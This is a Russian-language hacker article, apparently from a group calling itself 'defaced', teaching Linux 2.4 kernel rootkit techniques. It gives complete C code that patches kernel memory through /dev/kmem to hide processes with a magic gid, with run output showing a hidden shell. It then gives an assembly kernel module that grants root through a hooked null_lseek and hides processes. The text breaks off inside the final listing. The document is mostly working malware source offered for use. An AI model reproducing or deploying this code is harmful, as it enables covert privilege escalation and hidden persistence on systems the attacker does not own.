~ linux again ~


     Линух  так  часто меняет ядра и всю хуйню, что многие техники руткитовские
  быстро  отпадают.  Данная  статья  показывает  один  из вариантов более-менее
  универсального способа прятанья процессов и получения рута.


  [0]  zeroday technique ))

     Линуксовый  ps  берёт  список  процессов  из  /proc.  Адура (teso's adore)
  изначально  перехватывала  getdents()  так  что читать подкаталоги в /proc мы
  могли  не  все, а лишь видимых процессов. Adore Next Generation уже эмулирует
  vfs  для proc и на уровне ядра всё рулит сама. Весьма нестабильно это всё и к
  сожалению  быстро  отходит.  Ещё  одна  хуйня  это  то,  что в ооочень многих
  последних ядрах перестал работать /dev/kmem. Точнее он есть, но чтение/запись
  выдают  ошибки.  Так  что  Suck  Kit  (sk) тоже пролетает как фанера, хотя за
  последние  приватные  версии  sk  не  ручаюсь ) Теперь сперва представим нашу
  технику, а потом обсудим реализацию.


  В /fs/proc/base.c есть такая вот функция:

static struct inode *proc_pid_make_inode(struct super_block * sb, struct task_struct *task, int ino)
{
    struct inode * inode;

    /* We need a new inode */

    inode = new_inode(sb);
    if (!inode)
        goto out;

    /* Common stuff */

    inode->i_mtime = inode->i_atime = inode->i_ctime = CURRENT_TIME;
    inode->i_ino = fake_ino(task->pid, ino);

    if (!task->pid)
        goto out_unlock;

    /*
     * grab the reference to task.
     */
    get_task_struct(task);
    inode->u.proc_i.task = task;
    inode->i_uid = 0;
    inode->i_gid = 0;
    if (ino == PROC_PID_INO || task_dumpable(task)) {
        inode->i_uid = task->euid;
        inode->i_gid = task->egid;
    }

out:
    return inode;

out_unlock:
    iput(inode);
    return NULL;
}


     Если  она  возвращает  0,  то процесс task невидим. Собственно это и будем
  юзать =) Смотрим дамп:

  # cat /boot/System.map | grep proc_pid_make_inode
  c0154bb0 t proc_pid_make_inode
  # cat tst.c
#include <stdio.h>
#include <fcntl.h>

int main()
{
    int fd;
    unsigned char buf[512];

    fd = open("/dev/kmem", O_RDWR);

    if (fd < 0)
    {
    perror("open");
    return -1;
    }

    lseek(fd, _OFFSET, 0);
    if (read(fd, &buf, 512) < 0)
    {
    perror("read");
    return -1;
    }

    close(fd);

    fd = open("./dis", O_WRONLY);
    lseek(fd, 0x74, 0);
    write(fd, &buf, 512);
    close(fd);

    return 0;
}

   # gcc -o tst -D_OFFSET=0xc0154bb0 tst.c
   # ./tst
   # objdump -d ./dis | less

./dis:     file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
 8048074:   55                      push   %ebp
 8048075:   57                      push   %edi
 8048076:   56                      push   %esi
 8048077:   53                      push   %ebx
 8048078:   8b 74 24 14             mov    0x14(%esp,1),%esi
 804807c:   8b 7c 24 18             mov    0x18(%esp,1),%edi
 8048080:   8b 6c 24 1c             mov    0x1c(%esp,1),%ebp
 8048084:   e8 cb 5c ff ff          call   803dd54 <_start-0xa320>
 8048089:   85 c0                   test   %eax,%eax
 804808b:   89 c3                   mov    %eax,%ebx
 804808d:   0f 84 8a 00 00 00       je     804811d <_start+0xa9>
 8048093:   89 b0 90 00 00 00       mov    %esi,0x90(%eax)
 8048099:   66 8b 46 08             mov    0x8(%esi),%ax
 804809d:   66 89 43 30             mov    %ax,0x30(%ebx)
 80480a1:   31 c0                   xor    %eax,%eax
 80480a3:   8a 46 10                mov    0x10(%esi),%al
 80480a6:   85 db                   test   %ebx,%ebx
 80480a8:   89 43 58                mov    %eax,0x58(%ebx)
 80480ab:   74 70                   je     804811d <_start+0xa9>
 80480ad:   a1 50 6e 36 c0          mov    0xc0366e50,%eax
 80480b2:   89 43 54                mov    %eax,0x54(%ebx)
 80480b5:   89 43 4c                mov    %eax,0x4c(%ebx)
 80480b8:   89 43 50                mov    %eax,0x50(%ebx)
 80480bb:   8b 47 7c                mov    0x7c(%edi),%eax
 80480be:   c1 e0 10                shl    $0x10,%eax
 80480c1:   09 e8                   or     %ebp,%eax
 80480c3:   89 43 28                mov    %eax,0x28(%ebx)
 80480c6:   8b 47 7c                mov    0x7c(%edi),%eax
 80480c9:   85 c0                   test   %eax,%eax
 80480cb:   74 57                   je     8048124 <_start+0xb0>
 80480cd:   8d 87 00 00 00 40       lea    0x40000000(%edi),%eax
 80480d3:   c1 e8 0c                shr    $0xc,%eax
 80480d6:   8d 14 80                lea    (%eax,%eax,4),%edx
 80480d9:   8d 14 50                lea    (%eax,%edx,2),%edx
 80480dc:   a1 90 83 36 c0          mov    0xc0368390,%eax
 80480e1:   8d 14 90                lea    (%eax,%edx,4),%edx
 80480e4:   ff 42 14                incl   0x14(%edx)
 80480e7:   83 fd 02                cmp    $0x2,%ebp
 80480ea:   89 bb 10 01 00 00       mov    %edi,0x110(%ebx)
 80480f0:   c7 43 38 00 00 00 00    movl   $0x0,0x38(%ebx)
 80480f7:   c7 43 3c 00 00 00 00    movl   $0x0,0x3c(%ebx)
 80480fe:   74 0b                   je     804810b <_start+0x97>
 8048100:   57                      push   %edi
 8048101:   e8 4e ff ff ff          call   8048054 <_start-0x20>
 8048106:   85 c0                   test   %eax,%eax
 8048108:   5d                      pop    %ebp
 8048109:   74 12                   je     804811d <_start+0xa9>
 804810b:   8b 87 30 01 00 00       mov    0x130(%edi),%eax
 8048111:   89 43 38                mov    %eax,0x38(%ebx)
 8048114:   8b 87 40 01 00 00       mov    0x140(%edi),%eax
 804811a:   89 43 3c                mov    %eax,0x3c(%ebx)
 804811d:   89 d8                   mov    %ebx,%eax
 804811f:   5b                      pop    %ebx
 8048120:   5e                      pop    %esi
 8048121:   5f                      pop    %edi
 8048122:   5d                      pop    %ebp
 8048123:   c3                      ret

 ...

    Вобщем наши действия такие:

    1. находим оффсет к gid в стркутуре task_struct
    2. пишем его в код для ныканья процессов
    3. выделяем в памяти ядра область kmalloc()-ом и пишем туда наш код
    4. перехватываем самый первый вызов из proc_pid_make_inode(), call
       напрявляем на наш код и там уже его разруливаем.


    1. нахождение оффсета к gid.

    Смотрим исходный код getgid() :
asmlinkage long sys_getgid(void)
{
    /* Only we change this so SMP safe */
    return current->gid;
}

asmlinkage long sys_getegid(void)
{
    /* Only we change this so SMP safe */
    return  current->egid;
}

    Сравним его с дампом:

 # getgid()
 8048074:   b8 00 e0 ff ff          mov    $0xffffe000,%eax
 8048079:   21 e0                   and    %esp,%eax
 804807b:   8b 80 3c 01 00 00       mov    0x13c(%eax),%eax
 8048081:   c3                      ret

 # getegid()
 8048082:   89 f6                   mov    %esi,%esi
 8048084:   b8 00 e0 ff ff          mov    $0xffffe000,%eax
 8048089:   21 e0                   and    %esp,%eax
 804808b:   8b 80 40 01 00 00       mov    0x140(%eax),%eax
 8048091:   c3                      ret

     Оффсет  к  gid-у  лежит  после опкодов 0x8b и 0x80, так что можно найти по
  сигнатуре. Ниже пример кода:

#include <stdio.h>
#include <fcntl.h>

unsigned char sig[] = "\x8b\x80";

int main()
{
    int i, st, fd, gid;
    unsigned char p;

    fd = open("/dev/kmem", O_RDONLY);

    lseek(fd, _OFFSET, 0);

    st = 0;
    for (i=0; i < 20; i++)
    {
    read(fd, &p, 1);
    if (p == 0xc3) break;

    if (p == sig[st]) st++;
    else st = 0;

    if (st == 2) break;
    }

    if (st < 2) return 0;

    read(fd, &gid, 4);
    printf("Gid offset: 0x%x\n", gid);

    close(fd);
    return 0;
}

     При компиляции указать нужно адрес обработчика системного вызова getgid()
  (cat /boot/System.map | grep getgid).


  2. наш код, он вот такой вот скромный:

    # call getgid() - тут будет опкод вызова getgid()
hide_proc:        # %edi   - pointer to task_struct
    cmp $0x11, %eax
    je call_orig

    cmp $0x11, 0x13c(%edi)  # task->gid == 0x11 ?
    jne call_orig
    xorl %eax, %eax   # если да, то возвращаем ноль. процесс невидим
    ret

call_orig:
    push $0xdefaced
    ret

     Если  gid  текущего  процесса  == 0x11 то всё работает как надо (невидимые
  процессы  могут видть друг друга). Если gid показываемого процесса равен 0x11
  то прячем его (возвращаем 0 из функции). Вот получился такой код:

unsigned char hell[] =
    "\xe8"              // call getgid()
    "\xde\xfa\xce\xd0"  // адрес getgid()                      << ADDR#1
    "\x83\xf8\x11\x74\x0c"  // is current gid == 0x11 ?

    "\x83\xbf"
    "\xde\xfa\xce\xd0"  // offset to task_struct->gid          << ADDR#2
    "\x11" // magic gid
    "\x75\x03\x31\xc0\xc3\x68"
    "\xde\xfa\xce\xd0"  // вызываем оригинальную функцию       << ADDR#3
    "\xc3";

  Тут 3 адреса нужно вписать и можно hide_gid прописать другой. Об этом далее.


  3. запись нашего кода в ядро

     Воспользуемся    техникой    kmalloc2sct.   Впишем   адрес   kmalloc()   в
  sys_call_table  вместо  какого-нибудь редко юзаемого вызова, вызовем, получим
  адрес  выделенной  памяти  и  восстановим  обратно  старый обработчик. Формат
  kmalloc() такой:

     kmalloc (int size, unsigned short mode)

     mode  ==  GFP_KERNEL  нам  нужен, тоесть выделяется память в области ядра.
  Беда  в  том, что в разных ядрах разные значения этого GFP_KERNEL. Поэтому мы
  будем  вытаскивать его как и оффсет к gid из какой-нить функции. Тут подходит
  неплохо __request_region() :

struct resource * __request_region(struct resource *parent, unsigned long start, unsigned long n, const char *name)
{
    struct resource *res = kmalloc(sizeof(*res), GFP_KERNEL);

    if (res) {
        memset(res, 0, sizeof(*res));
        res->name = name;
        res->start = start;
        res->end = start + n - 1;
        res->flags = IORESOURCE_BUSY;
...

  Смотрим её дамп:

 8048074:   57                      push   %edi
 8048075:   56                      push   %esi
 8048076:   53                      push   %ebx
 8048077:   8b 74 24 10             mov    0x10(%esp,1),%esi
 804807b:   8b 7c 24 14             mov    0x14(%esp,1),%edi
 804807f:   68 f0 01 00 00          push   $0x1f0             << arg 2
 8048084:   6a 1c                   push   $0x1c              << arg 1
 8048086:   e8 f9 1f 01 00          call   805a084            << kmalloc()
 804808b:   89 c3                   mov    %eax,%ebx
 804808d:   85 db                   test   %ebx,%ebx
 804808f:   58                      pop    %eax
 8048090:   5a                      pop    %edx

     Видно  что нам нужен второй аргумент kmalloc(), а его значение лежит прямо
  после  первого опкода push (0x68). Вот пример проги, вытаскивающей GFP_KERNEL
  из этой функции:

/* define _OFFSET = адрес __request_region */
#include <stdio.h>
#include <fcntl.h>

int main()
{
    int i, fd, gfp;
    unsigned char p;

    fd = open("/dev/kmem", O_RDONLY);

    lseek(fd, _OFFSET, 0);
    for (i=0; i < 20; i++)
    {
        read(fd, &p, 1);

    if (p == 0x68) break;
    }

    if (i == 20) return 0; // not found
    read(fd, &gfp, 4);
    printf("GFP_KERNEL = 0x%x\n", gfp);

    close(fd);
    return 0;
}


   А вот пример kmalloc():
/*
    _OFFS == sys_call_table addr
    _KMALLOC = kmalloc addr
    _GFP_KERN = значение gfp_kernel

    адреса можно вытащить grep-ом из /boot/System.map
*/
#include <stdio.h>
#include <fcntl.h>

int main()
{
    int fd, addr, n_addr;

    fd = open("/dev/kmem", O_RDWR);

    lseek(fd, _OFFS + 4*233, 0);   // 233 системный вызов перехватываем
    read(fd, &addr, 4);
    lseek(fd, -4, 1);

    n_addr = _KMALLOC;
    write(fd, &n_addr, 4);

    n_addr = 0;
    n_addr = syscall(233, 64, _GFP_KERN);
    printf("ret = 0x%x\n", n_addr);

    lseek(fd, _OFFS + 4*233, 0);
    write(fd, &addr, 4);           // восстанавливаем старый обработчик

    close(fd);
    return 0;
}


  4. Теперь собственно делаем перехват:

    - старый адрес вызова вшиваем в наш код (ADDR#3), его нужно только
    пересчитать как абсолютный. Это сделать можно так: пусть CUR_ADDR это
    адрес текущей инструкции, аля EIP. А ORIG_ADDR - старый адрес вызова.

     тогда ADDR#3 = CUR_ADDR + ORIG_ADDR

    - ADDR#2 есть смещение в task_struct к gid, мы его уже научились находить.

    - ADDR#1 - адрес обработчика системного вызова getgid(), искать не надо )

  И вот что у нас в итоге получилось:

#include <stdio.h>
#include <fcntl.h>

#define   MAGIC_GID             0x11

#define   FUNC_OFFS     0xc0154bb0  // proc_pid_make_inode
#define   GID_OFFS          0xc0120170  // getgid
#define   GFP_OFFS          0xc011cc10  // __request_region
#define   SYS_CALL_TABLE_OFFS   0xc02fe7d0  // sys_call_table
#define   KMALLOC_OFFS      0xc012ec20  // kmalloc

unsigned char hell[] =
    "\xe8"
    "\xde\xfa\xce\xd0"  // address of getgid()
    "\x83\xf8\x11\x74\x0c"

    "\x83\xbf"
    "\xde\xfa\xce\xd0"  // offset to task_struct->gid
    "\x11" // magic gid
    "\x75\x03\x31\xc0\xc3\x68"
    "\xde\xfa\xce\xd0"  // address of original call()
    "\xc3";

unsigned int gfp, gid, kaddr = 0, oaddr = 0, call_addr = 0;


/* grab task_struct->gid offset from getgid() syscall */
int get_gid_offs(int fd)
{
    int i, st, gid;
    unsigned char p, sig[] = "\x8b\x80";

    lseek(fd, GID_OFFS, 0);

    st = 0;
    for (i=0; i < 20; i++)
    {
    read(fd, &p, 1);
    if (p == 0xc3) break;

    if (p == sig[st]) st++;
    else st = 0;

    if (st == 2) break;
    }

    if (st < 2) return 0;

    read(fd, &gid, 4);
    printf("[+] Gid offset: 0x%x\n", gid);

    return gid;
}


int get_orig_addr(int fd)
{
    int i=0, ret = 0;
    unsigned char u = 0;

    lseek(fd, FUNC_OFFS, 0);

    while (i++ < 32 && u != 0xe8)
    read(fd, &u, 1);

    if (i >= 32) return 0;

    call_addr = FUNC_OFFS + i - 1;

    read(fd, &ret, 4);
    return ret;
}


int get_kern_gfp(int fd)
{
    int i, gfp;
    unsigned char p;

    lseek(fd, GFP_OFFS, 0);
    for (i=0; i < 20; i++)
    {
        read(fd, &p, 1);

    if (p == 0x68) break;
    }

    if (i == 20) return 0; // not found
    read(fd, &gfp, 4);
    printf("[+] GFP_KERNEL = 0x%x\n", gfp);

    return gfp;
}


int kmalloc(int fd, int gfp_kern)
{
    int addr, n_addr, ret = 0;

    lseek(fd, SYS_CALL_TABLE_OFFS + 4*233, 0);
    read(fd, &addr, 4);
    lseek(fd, -4, 1);

    n_addr = KMALLOC_OFFS;
    write(fd, &n_addr, 4);

    ret = syscall(233, 32, gfp_kern);
    printf("[+] kmalloc ret = 0x%x\n", ret);

    lseek(fd, SYS_CALL_TABLE_OFFS + 4*233, 0);
    write(fd, &addr, 4); // backup

    return ret;
}


int kmem_load_hellcode(int fd, void *dat, unsigned int size)
{
    lseek(fd, kaddr, 0);
    printf("[+] loading hellcode into kernel\n");
    return write(fd, dat, size);
}


int kmem_hook(int fd)
{
    int a;

    lseek(fd, call_addr, 0);

    a = kaddr - (call_addr+4);

    write(fd, &a, 4);
    printf("[+] infected done\n");

    return 0;
}


int main()
{
    int fd;
    unsigned char tmp[4];

    fd = open("/dev/kmem", O_RDWR);

    if (fd < 0)
    {
    perror("open");
    return -1;
    }

    gid = gfp = kaddr = 0;

// get gid offs and prepare hellcode

    gid = get_gid_offs(fd);
    if (gid == 0)
    {
        printf("[-] cant find gid offset in task_struct\n");
        return -2;
    }

    memcpy(&tmp, &gid, 4);
    hell[12] = tmp[0];
    hell[13] = tmp[1];
    hell[14] = tmp[2];
    hell[15] = tmp[3];

    hell[16] = MAGIC_GID;

    oaddr = get_orig_addr(fd);
    if (oaddr == 0)
    {
    printf("[-] cant find call() opcode\n");
    return -2;
    }

    oaddr += call_addr+4;
    printf("[+] orig_call = 0x%x\n", oaddr);
    memcpy(&tmp, &oaddr, 4);
    hell[23] = tmp[0];
    hell[24] = tmp[1];
    hell[25] = tmp[2];
    hell[26] = tmp[3];

// alloc space in kernel memory

    gfp = get_kern_gfp(fd);
    if (gfp == 0)
    {
    printf("[-] cant get value of GFP_KERNEL\n");
    return -3;
    }

    kaddr = kmalloc(fd, gfp);
    if (kaddr == 0)
    {
    printf("[-] cant allocate space in kernel memory\n");
    return -4;
    }

// let's go

    gid = GID_OFFS - (kaddr+5);
    memcpy(&tmp, &gid, 4);
    hell[1] = tmp[0];
    hell[2] = tmp[1];
    hell[3] = tmp[2];
    hell[4] = tmp[3];

    if (kmem_load_hellcode(fd, &hell, sizeof(hell)) < sizeof(hell))
    {
    printf("[-] cant load shellcode into kernel memory\n");
    return -5;
    }

    kmem_hook(fd);

    close(fd);

    // for debug
    fd = open("dis2", O_WRONLY);
    lseek(fd, 0x74, 0);
    write(fd, &hell, sizeof(hell));

    close(fd);
    return 0;
}

    # gcc -o do_hook do_hook.c
    # ./do_hook
    [+] Gid offset: 0x13c
    [+] orig_call = c012c4f0
    [+] GFP_KERNEL = 0x1f0
    [+] kmalloc ret = 0xe662ccb0
    [+] loading hellcode into kernel
    [+] infected done
    #

   Тестируем:

    # cat shell.c
    #include <stdio.h>

    int main()
    {
        setgid(17);

        execl("/bin/sh", "sh", 0);

        return 0;
    }

    # gcc -o shell shell.c
    # ./shell
    # ps -auxw
    USER       PID %CPU %MEM   VSZ  RSS TTY      STAT START   TIME COMMAND
    root         1  4.3  0.0   480  228 ?        S    00:53   0:04 init
    root         2  0.2  0.0     0    0 ?        SW   00:53   0:00 [keventd]
    root         3  0.0  0.0     0    0 ?        SWN  00:53   0:00 [ksoftirqd_CPU0]
    root         4  0.0  0.0     0    0 ?        SW   00:53   0:00 [kswapd]
    root         5  0.0  0.0     0    0 ?        SW   00:53   0:00 [bdflush]
    root         6  0.0  0.0     0    0 ?        SW   00:53   0:00 [kupdated]
    root        10  0.0  0.0     0    0 ?        SW<  00:53   0:00 [mdrecoveryd]
    root        11  0.0  0.0     0    0 ?        SW   00:53   0:00 [kjournald]
    root       119  0.0  0.0     0    0 ?        SW   00:53   0:00 [khubd]
    rpc        550  0.0  0.0  1504  564 ?        S    00:53   0:00 [rpc.portmap]
    root       556  0.0  0.0  1424  604 ?        S    00:53   0:00 /usr/sbin/syslogd
    root       595  0.0  0.0  1360  460 ?        S    00:53   0:00 /usr/sbin/klogd -c 3 -x
    root       597  0.0  0.0  1396  524 ?        S    00:53   0:00 /usr/sbin/inetd
    root       600  0.1  0.2  3044 1384 ?        S    00:53   0:00 /usr/sbin/sshd
    lp         606  0.0  0.1  3348 1232 ?        S    00:53   0:00 [lpd]
    root       609  0.0  0.0  1480  552 ?        S    00:53   0:00 /usr/sbin/crond -l10
    root       612  0.0  0.2  3288 1436 ?        S    00:53   0:00 [sendmail]
    smmsp      615  0.0  0.2  3284 1428 ?        S    00:53   0:00 [sendmail]
    root       619  0.1  0.1  2256 1288 tty1     S    00:53   0:00 -bash
    root       620  0.0  0.1  2256 1276 tty2     S    00:53   0:00 -bash
    root       621  0.0  0.0  1356  488 tty3     S    00:53   0:00 /sbin/agetty 38400 tty3 linux
    root       622  0.0  0.0  1356  488 tty4     S    00:53   0:00 /sbin/agetty 38400 tty4 linux
    root       623  0.0  0.0  1356  488 tty5     S    00:53   0:00 /sbin/agetty 38400 tty5 linux
    root       624  0.0  0.0  1356  488 tty6     S    00:53   0:00 /sbin/agetty 38400 tty6 linux
    root       637  0.8  0.2  3064 1600 tty1     S    00:53   0:00 /usr/bin/mc -P /tmp/mc-root/mc.pwd.619 -b
    root       638  0.0  0.0  1348  324 ?        S    00:53   0:00 cons.saver /dev/tty1
    root       639  0.0  0.1  2248 1256 pts/0    S    00:53   0:00 bash -rcfile .bashrc
    root       652  0.0  0.1  2256 1264 pts/0    S    00:54   0:00 sh
    root       671  0.0  0.1  2656  812 pts/0    R    00:55   0:00 ps -auxw


    С другого шелла параллельно делаем ps -auxww:

    USER       PID %CPU %MEM   VSZ  RSS TTY      STAT START   TIME COMMAND
    root         1  3.8  0.0   480  228 ?        S    00:53   0:04 init
    root         2  0.2  0.0     0    0 ?        SW   00:53   0:00 [keventd]
    root         3  0.0  0.0     0    0 ?        SWN  00:53   0:00 [ksoftirqd_CPU0]
    root         4  0.0  0.0     0    0 ?        SW   00:53   0:00 [kswapd]
    root         5  0.0  0.0     0    0 ?        SW   00:53   0:00 [bdflush]
    root         6  0.0  0.0     0    0 ?        SW   00:53   0:00 [kupdated]
    root        10  0.0  0.0     0    0 ?        SW<  00:53   0:00 [mdrecoveryd]
    root        11  0.0  0.0     0    0 ?        SW   00:53   0:00 [kjournald]
    root       119  0.0  0.0     0    0 ?        SW   00:53   0:00 [khubd]
    rpc        550  0.0  0.0  1504  564 ?        S    00:53   0:00 [rpc.portmap]
    root       556  0.0  0.0  1424  604 ?        S    00:53   0:00 /usr/sbin/syslogd
    root       595  0.0  0.0  1360  460 ?        S    00:53   0:00 /usr/sbin/klogd -c 3 -x
    root       597  0.0  0.0  1396  524 ?        S    00:53   0:00 /usr/sbin/inetd
    root       600  0.1  0.2  3044 1384 ?        S    00:53   0:00 /usr/sbin/sshd
    lp         606  0.0  0.1  3348 1232 ?        S    00:53   0:00 [lpd]
    root       609  0.0  0.0  1480  552 ?        S    00:53   0:00 /usr/sbin/crond -l10
    root       612  0.0  0.2  3288 1436 ?        S    00:53   0:00 [sendmail]
    smmsp      615  0.0  0.2  3284 1428 ?        S    00:53   0:00 [sendmail]
    root       619  0.1  0.1  2256 1288 tty1     S    00:53   0:00 -bash
    root       620  0.0  0.1  2256 1276 tty2     S    00:53   0:00 -bash
    root       621  0.0  0.0  1356  488 tty3     S    00:53   0:00 /sbin/agetty 38400 tty3 linux
    root       622  0.0  0.0  1356  488 tty4     S    00:53   0:00 /sbin/agetty 38400 tty4 linux
    root       623  0.0  0.0  1356  488 tty5     S    00:53   0:00 /sbin/agetty 38400 tty5 linux
    root       624  0.0  0.0  1356  488 tty6     S    00:53   0:00 /sbin/agetty 38400 tty6 linux
    root       637  0.7  0.2  3064 1600 tty1     S    00:53   0:00 /usr/bin/mc -P /tmp/mc-root/mc.pwd.619 -b
    root       638  0.0  0.0  1348  324 ?        S    00:53   0:00 cons.saver /dev/tty1
    root       639  0.0  0.1  2248 1256 pts/0    S    00:53   0:00 bash -rcfile .bashrc
    root       672  0.0  0.1  2656  812 tty2     R    00:55   0:00 ps -auxww


    Наш шелл не видно (PID 652), что и требовалось доказать +) Глянем дамп
    нашего кода в памяти ядра, который создаёт do_hook:

 8048074:   e8 eb 28 04 da          call   e208a964    < относительный адрес getgid()
 8048079:   83 f8 11                cmp    $0x11,%eax
 804807c:   74 0c                   je     804808a <_start+0x16>
 804807e:   83 bf 3c 01 00 00 11    cmpl   $0x11,0x13c(%edi)
 8048085:   75 03                   jne    804808a <_start+0x16>
 8048087:   31 c0                   xor    %eax,%eax
 8048089:   c3                      ret
 804808a:   68 90 a8 14 c0          push   $0xc014a890 < абсолютный адрес оригинальной функции
 804808f:   c3                      ret

     По  идее  должно  работать  на  всех  ядрах где нормально пашет /dev/kmem.
  Теперь переходим ко второму варианту, если не через /dev/kmem то как?




==[1]  kernel loadable module ]]===============================================

     Единственный  оставшийся способ нам рулить памятью ядра это загружать свои
  модули.  Западло  в  том,  что  в  разных версиях меняются хидеры и константы
  разных  флагов  и  прочее. Да к тому же для сборки lkm на сях нужны исходники
  того  ядра  под  которое собираешь, поэтому как завещал madcr будем писать на
  асме  =)  Данный  руткит  будет  интересен хотя бы тем что не перехватываются
  никакие системные вызовы.

   1. техника получения рута

   Достаточно примитивно, опишем кратко что делать. У файлов устройств /dev/
   типа kmem, mem, null, zero есть функци свои для чтения, записи и так далее.
   И называются они например так: mem_read, kmem_write, null_lseekm, zero_read,
   и так далее тоесть просто девайс и операция. Не долго думая мы перехватили
   функцию null_lseek() (впрочем вы можете выбрать и любую другую). В коде
   она выглядит так:

   </usr/src/linux/drivers/char/mem.c>
static loff_t null_lseek(struct file * file, loff_t offset, int orig)
{
    return file->f_pos = 0;
}

   Ассемблерный дамп особо и не нужен, да и потом хуле нуль и нуль ) мало кого
   будет ебать lseek() на нём так что просто инфецируем и возвращать будем 0.
   Код функции примерно будет выглядеть так:

    movl 0x8(%esp), %eax   # проверяем 2й аргумент вызова
    cmp $0xdefaced, %eax   # если не равен 0xdefaced то возвращаем просто 0
    .word 0x2575

    push %edx
    push %ebx
    xorl %ebx, %ebx

    # get current task_struct...
    movl $0xffffe000, %eax
    andl %esp, %eax

    # set current->uid = 0
    movl uid_offs, %edx
    addl %eax, %edx
    movl %ebx, (%edx)

    # set current->gid = 0
    movl gid_offs, %edx
    addl %eax, %edx
    movl $0x11, (%edx)

    popl %ebx
    popl %edx
    xorl %eax, %eax  # return 0
    ret

    Насчёт word 0x2575 - чтобы не клепать кучу меток и символов (которые потом
    загрузятся в ядро) мы заменяем их на опкоды.

      0x75 0x25      jne 0x25

   2. прятанье процессов

   Как и в предидущей части, через функцию proc_pid_make_inode() будем делать
   зло. Тут есть такая тонкость, смотрим дамп:

 <proc_pid_make_inode>:
 8048074:   55                      push   %ebp
 8048075:   57                      push   %edi
 8048076:   56                      push   %esi
 8048077:   53                      push   %ebx
 8048078:   8b 74 24 14             mov    0x14(%esp,1),%esi
 804807c:   8b 7c 24 18             mov    0x18(%esp,1),%edi
 8048080:   8b 6c 24 1c             mov    0x1c(%esp,1),%ebp
 8048084:   e8 cb 5c ff ff          call   803dd54 <_start-0xa320>

     Втророй аргумент функции (указатель на task_struct) будет лежать то в edi,
  то  в  esi  (в  зависимости  от компилера). Вытащить аргумент через стек тоже
  гемморно  ибо  в  ядрах  разных немного колеблется число элементов до него, а
  попытки определить именно это task_struct или что-то ещё часто провальны. Так
  что  мы сделали ход конём: если у %edi стоит знаковый бит, то это наш искомый
  адрес  task_struct  (на ядрах до 2.4.31 так обстоит дело), в противном случае
  task_struct лежит в %esi (ядра 2.4.31 и выше). Код будет примерно такой:

    # get current task_struct
    movl $0xffffe000, %eax
    andl %esp, %eax

    # arg_offs == 0 ?
    movl arg_offs, %edx
    test %edx, %edx
    .word 0x0e75     # if not zero skip

    xorl %edx, %edx
    test %edi, %edi
    .word 0x0178     # if %edi is not negative, skip one inc opcode
    incl %edx
    incl %edx
    movl %edx, arg_offs

    # if current->gid == 0x11 work normally (hidden proc can see itself)
    addl gid_offs, %eax
    movl (%eax), %eax
    cmpl $0x11, %eax
    .word 0x1e74

    # if arg_offs == 1 task_struct in %edi, else in %esi
    movl arg_offs, %eax
    cmp $1, %eax
    .word 0x047f
    movl %edi, %eax
    .word 0x02eb
    movl %esi, %eax
    addl gid_offs, %eax

    # if task_struct->gid == 0x11 return 0
    cmpl $0x11, (%eax)
    .word 0x0375
    xorl %eax, %eax
    ret

    # work normally, call original function
    movl orig_addr, %eax
    push %eax
    ret

  3. загрузка в ядро

  Теперь загрузка в ядро. Прежде всего нам нужно найти кое какие значения:

    uid_offs   - смещение в task_struct до uid
    gid_offs   - смещение в task_struct до gid
    orig_addr  - адрес старого вызова, который мы перехватываем

  Вот что получилось:

init_module:
    push %edx

    # find uid_offs
    movl sys_call_table + 24*4, %edx
    incl %edx
    cmpw $0, (%edx)
    .word 0xf975

    subl $2, %edx
    movl (%edx), %eax
    movl %eax, uid_offs

    # find gid_offs
    movl sys_call_table + 47*4, %edx
    incl %edx
    cmpw $0, (%edx)
    .word 0xf975

    subl $2, %edx
    movl (%edx), %eax
    movl %eax, gid_offs

    # insert gotroot code
    movl root_func_addr, %eax
    movb $0x68, (%eax)
    movl $root_code, 0x1(%eax)
    movb $0xc3, 0x5(%eax)

    # find back addr
    movl proc_func_addr, %edx
    incl %edx
    cmpb $0xe8, (%edx)
    .word 0xfa75
    incl %edx

    movl (%edx), %eax
    addl %edx, %eax
    addl $4, %eax
    movl %eax, orig_addr

    # hide_proc hook
    movl $proc_code, %eax
    subl %edx, %eax
    subl $4, %eax
    movl %eax, (%edx)

    xorl %eax, %eax
    popl %edx
    ret

  4. выгрузка из ядра

  Cleanup тоже неплохо бы сделать, а то после выгрузки модуля из ядра всё
  повалится в сегфолты. Вот такой клинап:

cleanup_module:

    # disable got-root
    movl root_func_addr, %eax
    movw $0xc031, (%eax)
    movb $0xc3, 0x2(%eax)

    # disable proc-hiding
    push %edx
    movl proc_func_addr, %edx
    incl %edx
    cmpb $0xe8, (%edx)
    .word 0xfa75
    incl %edx
    movl orig_addr, %eax
    subl %edx, %eax
    subl $4, %eax
    movl %eax, (%edx)
    xorl %eax, %eax
    popl %edx
    ret

  5. финал

  Вот что получилось:

#################################################################
#
#     Linux/x86  loadable kernel module          by defaced staff
#
#  Gives root and hides proceses. Currently 2.4.x kernels only
#
#  tested on:  2.4.18-3,  2.4.20,  2.4.29,  2.4.30,  2.4.31
#
#################################################################

.text

init_module:
    push %edx

    # find uid_offs
    movl sys_call_table + 24*4, %edx
    incl %edx
    cmpw $0, (%edx)
    .word 0xf975

    subl $2, %edx
    movl (%edx), %eax
    movl %eax, uid_offs

    # find gid_offs
    movl sys_call_table + 47*4, %edx
    incl %edx
    cmpw $0, (%edx)
    .word 0xf975

    subl $2, %edx
    movl (%edx), %eax
    movl %eax, gid_offs

    # insert gotroot code
    movl root_func_addr, %eax
    movb $0x68, (%eax)
    movl $root_code, 0x1(%eax)
    movb $0xc3, 0x5(%eax)

    # find back addr
    movl proc_func_addr, %edx
    incl %edx
    cmpb $0xe8, (%edx)
    .word 0xfa75
    incl %edx

    movl (%edx), %eax
    addl %edx, %eax
    addl $4, %eax
    movl %eax, orig_addr

    # hide_proc hook
    movl $proc_code, %eax
    subl %edx, %eax
    subl $4, %eax
    movl %eax, (%edx)

    xorl %eax, %eax
    popl %edx
    ret

#################################################################
# cleanup
cleanup_module:

    # disable got-root
    movl root_func_addr, %eax
    movw $0xc031, (%eax)
    movb $0xc3, 0x2(%eax)

    # disable proc-hiding
    push %edx
    movl proc_func_addr, %edx
    incl %edx
    cmpb $0xe8, (%edx)
    .word 0xfa75
    incl %edx
    movl orig_addr, %eax
    subl %edx, %eax
    subl $4, %eax
    movl %eax, (%edx)
    xorl %eax, %eax
    popl %edx
    ret

#################################################################
# got root
root_code:
    movl 0x8(%esp), %eax
    cmp $0xdefaced, %eax
    .word 0x2575

    push %edx
    push %ebx

    xorl %ebx, %ebx
    movl $0xffffe000, %eax
    andl %esp, %eax

    movl uid_offs, %edx
    addl %eax, %edx
